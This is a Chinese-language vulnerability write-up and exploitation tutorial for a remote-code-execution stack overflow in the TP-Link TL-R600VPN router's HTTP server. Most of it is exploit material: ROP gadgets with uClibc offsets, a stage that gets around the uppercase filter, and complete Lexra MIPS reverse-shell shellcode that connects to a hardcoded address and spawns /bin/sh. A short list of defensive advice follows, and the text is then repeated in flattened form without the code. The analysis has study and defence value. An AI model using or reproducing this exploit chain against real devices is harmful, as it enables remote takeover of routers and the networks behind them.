TP-Link TL-R600VPN远程执行代码漏洞分析
字数 1052 2025-08-29 08:31:47

TP-Link TL-R600VPN远程执行代码漏洞分析与利用教学

漏洞概述

TP-Link TL-R600VPN是一款五端口小型办公室/家庭(SOHO)路由器,运行在Realtek RTL8198芯片上,使用Lexra开发的MIPS-1架构分支。该设备存在三个关键漏洞,允许经过身份验证的攻击者远程执行代码。

漏洞背景

硬件架构特点

  • 使用Lexra MIPS架构,与标准MIPS-1有差异
  • 缺少标准MIPS指令:LWL, SWL, LWR, SWR
  • 处理未对齐加载/存储操作时有专有指令

受影响版本

  • TL-R600VPN 1.3.0版本

漏洞详情

漏洞位置

  • 与HTTP服务器处理/fs/目录请求的方式有关
  • 影响路径包括:
    • /fs/help
    • /fs/images
    • /fs/frames
    • /fs/dynaform
    • /fs/localiztion(注意拼写错误)

漏洞机制

  1. httpGetMimeTypeByFileName函数中,服务器尝试解析请求页面的文件扩展名以确定mime类型
  2. 服务器调用strlen()确定URI长度,然后向后搜索文件扩展名直到遇到句点(0x2e)
  3. 当请求/fs/目录下的页面时,URI不包含句点,导致继续向后搜索
  4. 攻击者可利用此行为覆盖堆栈上的返回地址和寄存器

关键代码分析

LOAD:00425CDC loc_425CDC:
LOAD:00425CDC la $t9, strlen
LOAD:00425CE0 sw $zero, 0x38+var_20($sp)
LOAD:00425CE4 jalr $t9 ; strlen
LOAD:00425CE8 sh $zero, 0x38+var_1C($sp)
LOAD:00425CEC addu $s0, $v0
LOAD:00425CF0 li $v0, 0x2E 
LOAD:00425CF4 lbu $v1, 0($s0)
LOAD:00425CF8 lw $gp, 0x38+var_28($sp)
LOAD:00425CFC beq $v1, $v0, loc_425D14
LOAD:00425D00 li $v1, 0b101110

漏洞利用限制

toUpper()函数限制

  • 所有ASCII字符会被转换为大写
  • 阻止使用小写字母(0x61-0x7a)
  • 影响shellcode构造

strcmp()限制

  • 不能使用空字节(0x00)

漏洞利用技术

绕过toUpper()限制

  1. 使用不包含小写字母的初始shellcode
  2. 利用memcpy将原始payload复制到可执行区域
  3. 跳转到原始payload执行

关键利用代码

move $a0, $t9
addiu $a0, 0x12C
addiu $a1, $s5, 0x198
li $a2, 0x374
li $t9, 0x2AB01E20
jalr $t9
move $t8, $t3
move $t9, $sp
addiu $t9, 0x14C
jalr $t9
move $t8, $t3

ROP链构造

  1. 第一个gadget (uClibc偏移0x0002fc84):
    lw $ra, 0x20+var_8($sp)
    jr $ra
    addiu $sp, 0x20
    
  2. 第二个gadget (uClibc偏移0x000155b0):
    addiu $a1, $sp, 0x58+var_40
    lw $gp, 0x58+var_48($sp)
    sltiu $v0, 1
    lw $ra, 0x58+var_8($sp)
    jr $ra
    addiu $sp, 0x58
    
  3. 第三个gadget (uClibc偏移0x000172fc):
    move $t9, $a1
    move $a1, $a2
    sw $v0, 0x4C($a0)
    jr $t9
    addiu $a0, 0x4C
    

Lexra MIPS Shellcode开发

套接字创建

li $t7, -6
nor $t7, $t7, $zero
addi $a0, $t7, -3
addi $a1, $t7, -3
slti $a2, $zero, -1
li $v0, 4183
syscall 0x40404

连接设置(避免IP中的空字节)

sw $v0, -36($sp)
lw $a0, -36($sp)
sw $a1, -32($sp)
lui $t7, 8888
ori $t7, $t7, 8888
sw $t7, -28($sp)
lui $t7, 0xc0a7
ori $t7, 0xff63
addiu $t7, 0x101
sw $t7, -26($sp)
addiu $a1, $sp, -30
li $t7, -17
nor $a2, $t7, $zero
li $v0, 4170
syscall 0x40404

文件描述符复制

lw $t7, -32($sp)
lw $a0, -36($sp)
lw $a1, -32($sp)
li $v0, 4063
syscall 0x40404
lw $t7, -32($sp)
lw $a0, -36($sp)
addi $a1, $t7, -1
li $v0, 4063
syscall 0x40404
lw $t7, -32($sp)
lw $a0, -36($sp)
addi $a1, $t7, -2
li $v0, 4063
syscall 0x40404

Shell生成

lui $t7, 0x2f2f
ori $t7, $t7, 0x6269
sw $t7, -20($sp)
lui $t7, 0x6e2f
ori $t7, $t7, 0x7368
sw $t7, -16($sp)
sw $zero, -12($sp)
addiu $a0, $sp, -20
sw $a0, -8($sp)
sw $zero, -4($sp)
addiu $a1, $sp, -8
slti $a2, $zero, -1
li $v0, 4011
syscall 0x40404

防御建议

  1. 及时更新固件到修补版本
  2. 限制对管理界面的访问
  3. 使用强密码保护管理账户
  4. 监控异常网络活动

总结

该漏洞展示了物联网设备中常见的安全问题,攻击者可以通过精心构造的HTTP请求利用缓冲区溢出漏洞实现远程代码执行。理解此类漏洞的机制对于开发安全产品和进行渗透测试都至关重要。

TP-Link TL-R600VPN远程执行代码漏洞分析与利用教学 漏洞概述 TP-Link TL-R600VPN是一款五端口小型办公室/家庭(SOHO)路由器,运行在Realtek RTL8198芯片上,使用Lexra开发的MIPS-1架构分支。该设备存在三个关键漏洞,允许经过身份验证的攻击者远程执行代码。 漏洞背景 硬件架构特点 使用Lexra MIPS架构,与标准MIPS-1有差异 缺少标准MIPS指令:LWL, SWL, LWR, SWR 处理未对齐加载/存储操作时有专有指令 受影响版本 TL-R600VPN 1.3.0版本 漏洞详情 漏洞位置 与HTTP服务器处理 /fs/ 目录请求的方式有关 影响路径包括: /fs/help /fs/images /fs/frames /fs/dynaform /fs/localiztion (注意拼写错误) 漏洞机制 在 httpGetMimeTypeByFileName 函数中,服务器尝试解析请求页面的文件扩展名以确定mime类型 服务器调用 strlen() 确定URI长度,然后向后搜索文件扩展名直到遇到句点(0x2e) 当请求 /fs/ 目录下的页面时,URI不包含句点,导致继续向后搜索 攻击者可利用此行为覆盖堆栈上的返回地址和寄存器 关键代码分析 漏洞利用限制 toUpper()函数限制 所有ASCII字符会被转换为大写 阻止使用小写字母(0x61-0x7a) 影响shellcode构造 strcmp()限制 不能使用空字节(0x00) 漏洞利用技术 绕过toUpper()限制 使用不包含小写字母的初始shellcode 利用memcpy将原始payload复制到可执行区域 跳转到原始payload执行 关键利用代码 ROP链构造 第一个gadget (uClibc偏移0x0002fc84): 第二个gadget (uClibc偏移0x000155b0): 第三个gadget (uClibc偏移0x000172fc): Lexra MIPS Shellcode开发 套接字创建 连接设置(避免IP中的空字节) 文件描述符复制 Shell生成 防御建议 及时更新固件到修补版本 限制对管理界面的访问 使用强密码保护管理账户 监控异常网络活动 总结 该漏洞展示了物联网设备中常见的安全问题,攻击者可以通过精心构造的HTTP请求利用缓冲区溢出漏洞实现远程代码执行。理解此类漏洞的机制对于开发安全产品和进行渗透测试都至关重要。